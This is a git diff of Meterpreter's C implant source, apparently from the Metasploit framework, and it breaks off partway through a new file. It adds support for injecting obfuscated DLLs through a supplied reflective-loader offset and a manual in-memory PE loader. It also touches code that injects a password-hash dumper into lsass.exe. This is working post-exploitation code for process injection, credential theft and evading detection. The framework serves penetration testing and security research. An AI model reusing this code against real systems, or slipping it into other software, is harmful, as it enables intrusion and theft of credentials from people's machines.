diff --git a/c/meterpreter/source/common/common_core.h b/c/meterpreter/source/common/common_core.h index 85c5c4a5d..4f8d551c8 100644 --- a/c/meterpreter/source/common/common_core.h +++ b/c/meterpreter/source/common/common_core.h @@ -151,6 +151,7 @@ typedef enum TLV_TYPE_MIGRATE_STUB = TLV_VALUE(TLV_META_TYPE_RAW, 411), ///! Represents a migration stub (raw). TLV_TYPE_LIB_LOADER_NAME = TLV_VALUE(TLV_META_TYPE_STRING, 412), ///! Represents the name of the ReflectiveLoader function (string). TLV_TYPE_LIB_LOADER_ORDINAL = TLV_VALUE(TLV_META_TYPE_UINT, 413), ///! Represents the ordinal of the ReflectiveLoader function (int). + TLV_TYPE_LIB_LOADER_OFFSET = TLV_VALUE(TLV_META_TYPE_UINT, 414), ///! Represents the offset of the ReflectiveLoader function (unsigned int). // Transport switching TLV_TYPE_TRANS_TYPE = TLV_VALUE(TLV_META_TYPE_UINT, 430), ///! Represents the type of transport to switch to. diff --git a/c/meterpreter/source/common/common_metapi.h b/c/meterpreter/source/common/common_metapi.h index 844e23407..8b05af3b4 100644 --- a/c/meterpreter/source/common/common_metapi.h +++ b/c/meterpreter/source/common/common_metapi.h @@ -4,15 +4,19 @@ */ #ifndef _METERPRETER_COMMON_METAPI_H #define _METERPRETER_COMMON_METAPI_H - #include "common_winapi.h" +typedef struct _ReflectiveLoaderApi +{ + HANDLE (WINAPI *LoadRemoteLibraryR)(HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPCSTR cpReflectiveLoaderName, DWORD dwActualReflectiveLoaderOffset, LPVOID lpParameter); +} ReflectiveLoaderApi; typedef struct _InjectApi { - DWORD(*dll)(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, LPVOID lpArg, SIZE_T stArgSize); + DWORD(*dll)(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, DWORD dwActualReflectiveLoaderOffset, LPVOID lpArg, SIZE_T stArgSize); DWORD(*via_apcthread)(Remote* remote, Packet* response, HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter); DWORD(*via_remotethread)(Remote* remote, Packet* response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter); DWORD(*via_remotethread_wow64)(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* pThread); + ReflectiveLoaderApi reflective_loader; } InjectApi; typedef struct _ChannelApi diff --git a/c/meterpreter/source/common/common_winapi.h b/c/meterpreter/source/common/common_winapi.h index 5718a4e57..d769e9964 100644 --- a/c/meterpreter/source/common/common_winapi.h +++ b/c/meterpreter/source/common/common_winapi.h @@ -65,6 +65,7 @@ typedef struct _WinApiKernel32 { SIZE_T (*VirtualQuery)(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength); SIZE_T (*VirtualQueryEx)(HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength); BOOL (*VirtualFree)(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); + BOOL (*VirtualFreeEx)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); HANDLE (*CreateRemoteThread)(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); BOOL (*CloseHandle)(HANDLE hObject); BOOL (*DuplicateHandle)(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions); diff --git a/c/meterpreter/source/extensions/priv/passwd.c b/c/meterpreter/source/extensions/priv/passwd.c index 81ce63a4b..895530eb1 100644 --- a/c/meterpreter/source/extensions/priv/passwd.c +++ b/c/meterpreter/source/extensions/priv/passwd.c @@ -503,7 +503,11 @@ DWORD __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresul dprintf("[PASSWD] Injecting into lsass.exe pid: %u", dwLsassPid); /* todo: change the ReflectiveLoader string here, it's silly */ - if ((dwResult = met_api->inject.dll(dwLsassPid, dwLsassArch, dump_sam, (DWORD)stResourceSize, LOADER_ORDINAL(EXPORT_REFLECTIVELOADER), pvParameterMemory, 0)) != ERROR_SUCCESS) + /* Currently is hard to support obfuscation of dump_sam. + Due to how dump_sam is embedded inside the priv extension. + Hardcoding offset to 0 so it will use the original `ReflectiveLoader` + */ + if ((dwResult = met_api->inject.dll(dwLsassPid, dwLsassArch, dump_sam, (DWORD)stResourceSize, LOADER_ORDINAL(EXPORT_REFLECTIVELOADER), 0, pvParameterMemory, 0)) != ERROR_SUCCESS) BREAK_WITH_ERROR("[PASSWD} Unable to inject DLL", dwResult); dprintf("[PASSWD] Successfully injected the DLL into lsass.exe"); diff --git a/c/meterpreter/source/extensions/priv/tokendup.c b/c/meterpreter/source/extensions/priv/tokendup.c index 04fc46e7c..8f0b38c7e 100644 --- a/c/meterpreter/source/extensions/priv/tokendup.c +++ b/c/meterpreter/source/extensions/priv/tokendup.c @@ -1,8 +1,6 @@ #include "precomp.h" #include "common_metapi.h" #include "tokendup.h" -#include "../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h" -#include "../../ReflectiveDLLInjection/inject/src/LoadLibraryR.c" /* * Enable or disable a privilege in our processes current token. @@ -79,6 +77,7 @@ DWORD elevate_via_service_tokendup( Remote * remote, Packet * packet ) do { LPCSTR reflectiveLoader = met_api->packet.get_tlv_value_reflective_loader(packet); + DWORD dwActualReflectiveLoaderOffset = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_LIB_LOADER_OFFSET); // only works on x86 systems for now... if( elevate_getnativearch() != PROCESS_ARCH_X86 ) @@ -156,7 +155,7 @@ DWORD elevate_via_service_tokendup( Remote * remote, Packet * packet ) break; // use RDI to inject the elevator.dll into the remote process, passing in the command line to elevator.dll - hThread = LoadRemoteLibraryR( hProcess, lpServiceBuffer, dwServiceLength, reflectiveLoader, lpRemoteCommandLine ); + hThread = met_api->inject.reflective_loader.LoadRemoteLibraryR( hProcess, lpServiceBuffer, dwServiceLength, reflectiveLoader, dwActualReflectiveLoaderOffset, lpRemoteCommandLine ); if( !hThread ) break; diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/ps.c b/c/meterpreter/source/extensions/stdapi/server/sys/process/ps.c index 53be9b1aa..9cfe51cf1 100644 --- a/c/meterpreter/source/extensions/stdapi/server/sys/process/ps.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/ps.c @@ -71,7 +71,8 @@ DWORD ps_inject( DWORD dwPid, DLL_BUFFER * pDllBuffer, LPCSTR reflectiveLoader, if( dwDllArch != dwPidArch ) BREAK_WITH_ERROR( "[PS] ps_inject_dll. pid/dll architecture mixup", ERROR_BAD_ENVIRONMENT ); - dwResult = met_api->inject.dll( dwPid, dwPidArch, lpDllBuffer, dwDllLength, reflectiveLoader, cpCommandLine, strlen(cpCommandLine) + 1 ); + // TODO: support offset for obfuscated dlls + dwResult = met_api->inject.dll( dwPid, dwPidArch, lpDllBuffer, dwDllLength, reflectiveLoader, 0, cpCommandLine, strlen(cpCommandLine) + 1 ); } while( 0 ); return dwResult; diff --git a/c/meterpreter/source/extensions/stdapi/server/ui/desktop.c b/c/meterpreter/source/extensions/stdapi/server/ui/desktop.c index 93d2e59db..1e76f9c0c 100644 --- a/c/meterpreter/source/extensions/stdapi/server/ui/desktop.c +++ b/c/meterpreter/source/extensions/stdapi/server/ui/desktop.c @@ -427,6 +427,10 @@ DWORD request_ui_desktop_screenshot(Remote * remote, Packet * request) } LPCSTR reflectiveLoader = met_api->packet.get_tlv_value_reflective_loader(request); + /* TODO: Get optional offset for external reflective loader + * Modify the DLL_BUFFER struct to support offsets... + * another note is to remove / update this technique to a better one. + */ // get the x86 and x64 screenshot dll's. we are not obliged to send both but we reduce the number of processes // we can inject into (wow64 and x64) if we only send one type on an x64 system. If we are on an x86 system diff --git a/c/meterpreter/source/metsrv/base_inject.c b/c/meterpreter/source/metsrv/base_inject.c index 276128947..7387d0df6 100644 --- a/c/meterpreter/source/metsrv/base_inject.c +++ b/c/meterpreter/source/metsrv/base_inject.c @@ -654,7 +654,7 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW */ -DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, LPVOID lpArg, SIZE_T stArgSize) +DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, DWORD dwActualReflectiveLoaderOffset, LPVOID lpArg, SIZE_T stArgSize) { DWORD dwResult = ERROR_ACCESS_DENIED; LPVOID lpRemoteArg = NULL; @@ -672,6 +672,10 @@ DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD // check if the library has a ReflectiveLoader... dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpDllBuffer, reflectiveLoader); + if(dwActualReflectiveLoaderOffset != 0) { + dprintf("[INJECT] inject_dll. Overriding ReflectiveLoader offset with supplied value: 0x%08X", dwActualReflectiveLoaderOffset); + dwReflectiveLoaderOffset = dwActualReflectiveLoaderOffset; + } if (!dwReflectiveLoaderOffset) BREAK_WITH_ERROR("[INJECT] inject_dll. GetReflectiveLoaderOffset failed.", ERROR_INVALID_FUNCTION); diff --git a/c/meterpreter/source/metsrv/base_inject.h b/c/meterpreter/source/metsrv/base_inject.h index 4c639b5b3..e5effa347 100644 --- a/c/meterpreter/source/metsrv/base_inject.h +++ b/c/meterpreter/source/metsrv/base_inject.h @@ -98,7 +98,7 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW DWORD inject_via_remotethread_wow64(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread); -DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, LPVOID lpArg, SIZE_T stArgSize); +DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, DWORD dwActualReflectiveLoaderOffset, LPVOID lpArg, SIZE_T stArgSize); BOOL supports_poolparty_injection(DWORD dwSourceArch, DWORD dwDestinationArch); //===============================================================================================// #endif diff --git a/c/meterpreter/source/metsrv/extension_loader.c b/c/meterpreter/source/metsrv/extension_loader.c new file mode 100755 index 000000000..455dcf446 --- /dev/null +++ b/c/meterpreter/source/metsrv/extension_loader.c @@ -0,0 +1,283 @@ +#include "extension_loader.h" +#include "common_metapi.h" +#include "common_exports.h" +#include "metsrv.h" + +BOOL FixRelocations(PIMAGE_DATA_DIRECTORY dRelocBaseAddress, ULONG_PTR pBaseAddress, ULONG_PTR pPreferrableAddress) +{ + ULONG_PTR delta = pBaseAddress - pPreferrableAddress; + PIMAGE_BASE_RELOCATION pBaseRelocationTable = (PIMAGE_BASE_RELOCATION)(pBaseAddress + dRelocBaseAddress->VirtualAddress); + PBASE_RELOCATION_ENTRY pBaseRelocEntry = NULL; + + while (pBaseRelocationTable->SizeOfBlock != 0) + { + pBaseRelocEntry = (PBASE_RELOCATION_ENTRY)(pBaseRelocationTable + 1); + while ((PBYTE)pBaseRelocEntry != (PBYTE)pBaseRelocationTable + pBaseRelocationTable->SizeOfBlock) + { + switch (pBaseRelocEntry->Type) + { + case IMAGE_REL_BASED_ABSOLUTE: + break; + case IMAGE_REL_BASED_DIR64: + *((ULONG_PTR*)(pBaseAddress + pBaseRelocationTable->VirtualAddress + pBaseRelocEntry->Offset)) += delta; + break; + case IMAGE_REL_BASED_HIGHLOW: + *((DWORD*)(pBaseAddress + pBaseRelocationTable->VirtualAddress + pBaseRelocEntry->Offset)) += (DWORD)delta; + break; + #if defined(_M_ARM) + case IMAGE_REL_BASED_ARM_MOV32T: + DWORD dwInstruction = *(DWORD *)((ULONG_PTR)pBaseAddress + pBaseRelocationTable->VirtualAddress + pBaseRelocEntry->Offset + sizeof(DWORD)); + // Flip the words to get the instruction as expected (account for endianness/instruction packing). + dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); + if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT) + { + // Pull out the encoded 16-bit immediate value (high portion of the address-to-relocate). + WORD wImm = (WORD)(dwInstruction & 0x000000FF); + wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); + wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); + wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); + // Apply the relocation delta to the target address. + DWORD dwAddress = ((WORD)HIWORD(uiDelta) + wImm) & 0xFFFF; + // Create a new instruction with the same opcode and register parameters. + dwInstruction &= ARM_MOV_MASK2; + // Patch in the relocated address, re-encoding the immediate value. + dwInstruction |= (DWORD)(dwAddress & 0x00FF); + dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; + dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; + dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; + // Flip the instructions words and patch back into the code. + *(DWORD *)((ULONG_PTR)pBaseAddress + pBaseRelocationTable->VirtualAddress + pBaseRelocEntry->Offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); + } + #endif + case IMAGE_REL_BASED_HIGH: + *((WORD*)(pBaseAddress + pBaseRelocationTable->VirtualAddress + pBaseRelocEntry->Offset)) += HIWORD(delta); + break; + case IMAGE_REL_BASED_LOW: + *((WORD*)(pBaseAddress + pBaseRelocationTable->VirtualAddress + pBaseRelocEntry->Offset)) += LOWORD(delta); + break; + default: + dprintf("[FIXRELOC] Unknown relocation type: %d", pBaseRelocEntry->Type); + return FALSE; + + } + + pBaseRelocEntry = pBaseRelocEntry + 1; + } + pBaseRelocationTable = (PIMAGE_BASE_RELOCATION)((PBYTE)pBaseRelocationTable + pBaseRelocationTable->SizeOfBlock); + } + + return TRUE; +} + +BOOL FixIAT(PIMAGE_DATA_DIRECTORY pDataDirectoryImportTable, PBYTE pBaseAddress) { + + PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor = NULL; + ULONG_PTR fncPointer = 0; + HANDLE hModule = NULL; + + for (SIZE_T i = 0; i < pDataDirectoryImportTable->Size; i += sizeof(IMAGE_IMPORT_DESCRIPTOR)) { + + ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(pBaseAddress + pDataDirectoryImportTable->VirtualAddress + i); + + if (ImportDescriptor->OriginalFirstThunk == 0 && ImportDescriptor->FirstThunk == 0) + break; + + LPCSTR dllName = (LPSTR)(pBaseAddress + ImportDescriptor->Name); + + PIMAGE_THUNK_DATA pINT = (PIMAGE_THUNK_DATA)(pBaseAddress + ImportDescriptor->OriginalFirstThunk); + PIMAGE_THUNK_DATA pIAT = (PIMAGE_THUNK_DATA)(pBaseAddress + ImportDescriptor->FirstThunk); + + hModule = LoadLibraryA(dllName); + + if (hModule == NULL) + { + dprintf("[LOADREFLECTIVELY] Failed to load DLL %s\n", dllName); + return FALSE; + } + + while (pIAT->u1.Function != 0 || pINT->u1.Function != 0) { + LPCSTR fncName = NULL; + + if (IMAGE_SNAP_BY_ORDINAL(pINT->u1.Ordinal)) + { + // import by ordinal + //fncPointer = (ULONG_PTR)GetProcAddress(hModule, (LPCSTR)(IMAGE_ORDINAL(pINT->u1.Ordinal))); + fncName = (LPCSTR)MAKEINTRESOURCEA(IMAGE_ORDINAL(pINT->u1.Ordinal)); + } + else { + + // import by name + PIMAGE_IMPORT_BY_NAME pImgImportByName = (PIMAGE_IMPORT_BY_NAME)(pBaseAddress + pINT->u1.AddressOfData); + fncName = pImgImportByName->Name; + } + + fncPointer = (ULONG_PTR)GetProcAddress(hModule, fncName); + if (fncPointer == 0) + { + dprintf("[LOADREFLECTIVELY] Failed to resolve function in DLL %s\n", dllName); + return FALSE; + } + pIAT->u1.Function = fncPointer; + + pINT = (PIMAGE_THUNK_DATA)((PBYTE)(pINT)+sizeof(IMAGE_THUNK_DATA)); + pIAT = (PIMAGE_THUNK_DATA)((PBYTE)(pIAT)+sizeof(IMAGE_THUNK_DATA)); + } + + } + + return TRUE; +} + +BOOL FixPermissions(PIMAGE_NT_HEADERS pNtHeaders, PBYTE pBaseAddress) +{ + PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((PBYTE)(&(pNtHeaders->OptionalHeader)) + pNtHeaders->FileHeader.SizeOfOptionalHeader); + DWORD dwProtection, dwOldFlags; + + for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) + { + dwProtection = 0; + + if (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE) + dwProtection = PAGE_WRITECOPY; + + if (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_READ) + dwProtection = PAGE_READONLY; + + if ((pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE) && (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_READ)) + dwProtection = PAGE_READWRITE; + + if (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) + dwProtection = PAGE_EXECUTE; + + if ((pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE)) + dwProtection = PAGE_EXECUTE_WRITECOPY; + + if ((pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_READ)) + dwProtection = PAGE_EXECUTE_READ; + + if ((pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE) && (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_READ)) + dwProtection = PAGE_EXECUTE_READWRITE; + + dprintf("[FIXPERM] Setting permissions for section %p to %x with size %x\n",pBaseAddress + pSectionHeader[i].VirtualAddress , dwProtection, pSectionHeader[i].SizeOfRawData); + LPVOID lpAddress = (PBYTE)pBaseAddress + pSectionHeader[i].VirtualAddress; + SIZE_T dwSectionSize = pSectionHeader[i].SizeOfRawData; + if(dwSectionSize != 0 && met_api->win_api.kernel32.VirtualProtect(lpAddress, dwSectionSize, dwProtection, &dwOldFlags) == 0) + { + dprintf("[LOADREFLECTIVELY] Failed to fix permissions for section %d\n", i); + return FALSE; + } + + } + + return TRUE; + +} + +BOOL LoadReflectively(IN ULONG_PTR lpBuffer, OUT HMODULE *phModule) { + + dprintf("[LOADREFLECTIVELY] Loading library reflectively from buffer %p\n", lpBuffer); + PBYTE pBaseAddress = (PBYTE)lpBuffer; + PBYTE pDLLBaseAddress = NULL; + PIMAGE_SECTION_HEADER pSectionHeader = NULL; + DWORD dwResult = ERROR_SUCCESS; + *phModule = NULL; + do { + PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)(lpBuffer); + + if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) + { + BREAK_WITH_ERROR("[LOADREFLECTIVELY] DOS signature not valid\n", ERROR_INVALID_DATA); + } + + PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(pDosHeader->e_lfanew + pBaseAddress); + + if(pNtHeaders->Signature != IMAGE_NT_SIGNATURE) + { + BREAK_WITH_ERROR("[LOADREFLECTIVELY] NT signature not valid\n", ERROR_INVALID_DATA); + } + dprintf("[LOADREFLECTIVELY] PE headers are valid\n"); + + dprintf("[LOADREFLECTIVELY] Allocating memory for the library\n"); + pDLLBaseAddress = (PBYTE)met_api->win_api.kernel32.VirtualAlloc(NULL, pNtHeaders->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); + + if (pDLLBaseAddress == NULL) + { + BREAK_WITH_ERROR("[LOADREFLECTIVELY] VirtualAlloc failed\n", ERROR_OUTOFMEMORY); + } + + dprintf("[LOADREFLECTIVELY] Allocation successful, got %p\n", pDLLBaseAddress); + + pSectionHeader = (PIMAGE_SECTION_HEADER)((PBYTE)(&(pNtHeaders->OptionalHeader)) + pNtHeaders->FileHeader.SizeOfOptionalHeader); + + DWORD dwSizeOfHeaders = pNtHeaders->OptionalHeader.SizeOfHeaders; + PBYTE pSourceBase = pBaseAddress; + PBYTE pDestinationBase = pDLLBaseAddress; + + dprintf("[LOADREFLECTIVELY] Copying headers\n"); + + while (dwSizeOfHeaders--) + *pDestinationBase++ = *pSourceBase++; + + dprintf("[LOADREFLECTIVELY] Copying PE sections\n"); + + // 1. Copy the PE sections to the new location + for(DWORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) + { + + PBYTE pDestinationBase = pDLLBaseAddress + pSectionHeader[i].VirtualAddress; + PBYTE pSourceBase = pBaseAddress + pSectionHeader[i].PointerToRawData; + DWORD dwSizeOfHeaders = pSectionHeader[i].SizeOfRawData; + dprintf("[LOADREFLECTIVELY] Copying section %p to %p with length %x\n", pSourceBase, pDestinationBase, dwSizeOfHeaders); + while (dwSizeOfHeaders--) + *pDestinationBase++ = *pSourceBase++; + } + + // 2. Get all necessary sections + PIMAGE_DATA_DIRECTORY pImportTableDirectory = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; + PIMAGE_DATA_DIRECTORY pRelocationTableDirectory = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; + + // 3. Fix relocations + dprintf("[LOADREFLECTIVELY] Fixing relocations\n"); + if(pRelocationTableDirectory->Size > 0 && !FixRelocations(pRelocationTableDirectory, (ULONG_PTR)pDLLBaseAddress, pNtHeaders->OptionalHeader.ImageBase)) + { + BREAK_WITH_ERROR("[LOADREFLECTIVELY] Failed to fix relocations\n", ERROR_INVALID_DATA); + } + + // 4. Fix the IAT + dprintf("[LOADREFLECTIVELY] Fixing IAT\n"); + if(!FixIAT(pImportTableDirectory, pDLLBaseAddress)) + { + BREAK_WITH_ERROR("[LOADREFLECTIVELY] Failed to fix IAT\n", ERROR_INVALID_DATA); + } + + // 5. Set the correct permissions for the sections + dprintf("[LOADREFLECTIVELY] Fixing permissions\n"); + if(!FixPermissions(pNtHeaders, pDLLBaseAddress)) + { + BREAK_WITH_ERROR("[LOADREFLECTIVELY] Failed to fix permissions\n", ERROR_INVALID_DATA); + } + + // 6. Call the entry point + + dprintf("[LOADREFLECTIVELY] Calling entry point\n"); + DLLMAIN dEntryPoint = (DLLMAIN)(pDLLBaseAddress + pNtHeaders->OptionalHeader.AddressOfEntryPoint); + + if (dEntryPoint((HINSTANCE)pDLLBaseAddress, DLL_PROCESS_ATTACH, NULL) == FALSE) + { + BREAK_WITH_ERROR("[LOADREFLECTIVELY] DllMain returned FALSE\n", ERROR_INVALID_DATA); + } + + *phModule = (HMODULE)pDLLBaseAddress; + }while(FALSE); + + if(dwResult != ERROR_SUCCESS) + { + if(pDLLBaseAddress != NULL) + { + met_api->win_api.kernel32.VirtualFree(pDLLBaseAddress, 0, MEM_RELEASE); + } + dprintf("[LOADREFLECTIVELY] Failed to load library reflectively with error code %d\n", dwResult); + return FALSE; + } + return TRUE; +} \ No newline at end of file diff --git a/c/meterpreter/source/metsrv/extension_loader.h b/c/meterpreter/source/metsrv/extension_loader.h new file mode 100755 index 000000000..cdd88b378 --- /dev/null +++ b/c/meterpreter/source/metsrv/extension_loader.h @@ -0,0 +1,11 @@ +#ifndef _METERPRETER_METSRV_EXTENSION_LOADER_H +#define _METERPRETER_METSRV_EXTENSION_LOADER_H +#include "common.h" + +typedef struct _BASE_RELOCATION_ENTRY { + WORD Offset : 12; // Specifies where the base relocation is to be applied. + WORD Type : 4; // Indicates the type of base relocation to be applied. +} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY; + +BOOL LoadReflectively(IN ULONG_PTR lpBuffer, OUT HMODULE* phModule); +#endif // _METERPRETER_METSRV_EXTENSION_LOADER_H \ No newline at end of file diff --git a/c/meterpreter/source/metsrv/load_library_r.c b/c/meterpreter/source/metsrv/load_library_r.c new file mode 100644 index 000000000..b2374fc84 --- /dev/null +++ b/c/meterpreter/source/metsrv/load_library_r.c @@ -0,0 +1,224 @@ +// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "common.h" +#include "common_metapi.h" +#include "load_library_r.h" + +static DWORD Rva2Offset(DWORD dwRva, PIMAGE_NT_HEADERS pNtHeaders) +{ + PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders); + + // Iterate through the PE sections to find which one contains the RVA. + for (WORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++, pSectionHeader++) + { + // Check if the RVA is within the current section's virtual address space. + // We use VirtualSize for the upper bound, as this is the true size of the + // section in memory. SizeOfRawData is its size on disk, which can be smaller, + // and using it can lead to failing to find RVAs on some platforms (e.g., ARM64). + if (dwRva >= pSectionHeader->VirtualAddress && dwRva < (pSectionHeader->VirtualAddress + pSectionHeader->Misc.VirtualSize)) + { + // The file offset is calculated by taking the RVA, subtracting the section's + // base virtual address, and adding the section's file offset (PointerToRawData). + return (dwRva - pSectionHeader->VirtualAddress + pSectionHeader->PointerToRawData); + } + } + + // If the RVA was not found in any section, it must be within the PE header itself. + // In this case, the RVA is the same as the file offset. + if (dwRva < pNtHeaders->OptionalHeader.SizeOfHeaders) + { + return dwRva; + } + + return 0; +} + +DWORD GetReflectiveLoaderOffset(VOID* lpReflectiveDllBuffer, LPCSTR cpReflectiveLoaderName) +{ + UINT_PTR uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer; + PIMAGE_DOS_HEADER pDosHeader = NULL; + PIMAGE_NT_HEADERS pNtHeaders = NULL; + + // Validate the PE headers. + pDosHeader = (PIMAGE_DOS_HEADER)uiBaseAddress; + if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) + return 0; + + pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + pDosHeader->e_lfanew); + if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) + return 0; + + // Get the export directory RVA. + PIMAGE_DATA_DIRECTORY pDataDirectory = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + if (pDataDirectory->VirtualAddress == 0) + return 0; + + // Convert the RVA to a file offset to get the export directory structure. + DWORD dwExportDirOffset = Rva2Offset(pDataDirectory->VirtualAddress, pNtHeaders); + if (dwExportDirOffset == 0) + return 0; + + PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(uiBaseAddress + dwExportDirOffset); + + // Get pointers to the three critical arrays within the EAT, using file offsets. + PDWORD pdwAddressArray = (PDWORD)(uiBaseAddress + Rva2Offset(pExportDirectory->AddressOfFunctions, pNtHeaders)); + PDWORD pdwNameArray = (PDWORD)(uiBaseAddress + Rva2Offset(pExportDirectory->AddressOfNames, pNtHeaders)); + PWORD pwNameOrdinals = (PWORD)(uiBaseAddress + Rva2Offset(pExportDirectory->AddressOfNameOrdinals, pNtHeaders)); + + // Search for the loader function by name or by ordinal. + if (((DWORD_PTR)cpReflectiveLoaderName >> 16) == 0) + { + // By ordinal + WORD wOrdinal = LOWORD((DWORD_PTR)cpReflectiveLoaderName); + DWORD dwOrdinalBase = pExportDirectory->Base; + + if (wOrdinal < dwOrdinalBase || wOrdinal >= dwOrdinalBase + pExportDirectory->NumberOfFunctions) + return 0; + + DWORD dwFunctionRva = pdwAddressArray[wOrdinal - dwOrdinalBase]; + return Rva2Offset(dwFunctionRva, pNtHeaders); + } + else + { + // By name + for (DWORD i = 0; i < pExportDirectory->NumberOfNames; i++) + { + LPCSTR cpExportedFunctionName = (LPCSTR)(uiBaseAddress + Rva2Offset(pdwNameArray[i], 